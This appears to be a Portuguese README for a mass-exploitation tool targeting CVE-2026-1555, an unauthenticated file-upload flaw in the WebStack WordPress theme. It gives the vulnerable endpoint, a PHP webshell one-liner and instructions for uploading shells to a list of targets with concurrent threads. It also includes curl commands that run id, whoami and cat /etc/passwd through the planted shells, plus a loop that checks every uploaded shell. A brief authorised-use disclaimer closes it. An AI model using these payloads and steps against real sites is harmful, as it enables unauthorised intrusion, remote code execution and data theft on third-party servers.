
WebStack <= 1.2024 - Upload Arbitrário de Arquivos Não Autenticado
WebStack <= 1.2024 - Upload Arbitrário de Arquivos sem Autenticação
Execução Remota de Código sem Autenticação por meio do manipulador AJAX img_upload
| Campo | Detalhe |
|---|---|
| Identificador CVE | CVE-2026-1555 |
| Componente Afetado | Tema WebStack para WordPress |
| Versões Vulneráveis | Todas as versões até 1.2024, inclusive |
| Tipo de Vulnerabilidade | Upload Arbitrário de Arquivos → Execução Remota de Código |
| Autenticação Necessária | ❌ Nenhuma (Não autenticado) |
| Pontuação CVSS | 9.8 CRÍTICO |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
A função io_img_upload(), registrada no hook de ação img_upload do admin-ajax.php do WordPress, não realiza nenhuma validação de tipo de arquivo ou extensão antes de gravar o arquivo enviado no servidor. Como a ação é registrada sem verificações de autenticação (wp_ajax_nopriv_), qualquer atacante remoto não autenticado pode enviar via POST um arquivo arbitrário — incluindo um webshell PHP — e o servidor o armazenará em um caminho publicamente acessível, permitindo Execução Remota de Código direta.
Endpoint vulnerável:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtVersão do Python: 3.8+
Instale as dependências:
pip install requests rich urllib3
Crie um arquivo chamado list.txt (ou qualquer nome de sua preferência) com um alvo por linha:
https://target1.com
https://target2.com
http://target3.com
Alvos sem
http://ouhttps://recebem automaticamente o prefixohttp://.
Coloque seu webshell no mesmo diretório do script. Exemplo:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
Você será solicitado a informar:
| Prompt | Descrição | Padrão |
|---|---|---|
Targets file | Caminho para sua lista de alvos | list.txt |
Threads | Número de workers simultâneos | 6 |
Local file to upload | Nome do arquivo do seu payload (no diretório do script) | shell.php |
Cada upload bem-sucedido exibe:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
Todas as URLs de shells bem-sucedidos são anexadas a:
uploaded_paths.txt
Após um upload bem-sucedido, acesse o shell diretamente pelo navegador ou via curl:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
O caminho exato do upload é extraído da resposta JSON do servidor (
data.src) e exibido automaticamente.
Verifique rapidamente todos os shells enviados a partir do arquivo de saída:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
Ao final de cada execução, um resumo é exibido:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
Esta ferramenta é fornecida estritamente para testes de penetração autorizados, pesquisa de segurança e fins educacionais.
O autor — Nxploited — não assume nenhuma responsabilidade por qualquer uso indevido, dano ou atividade ilegal realizada com esta ferramenta. Ao usar esta ferramenta, você confirma que possui permissão escrita explícita para testar todos os sistemas-alvo.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e pode resultar em processo criminal de acordo com as leis aplicáveis de crimes cibernéticos.
Use com responsabilidade. Você é o único responsável por suas ações.
👤 Autor: Nxploited 📣 Canal: Nxploited ZeroDay Hub 💬 Telegram: @KNxploited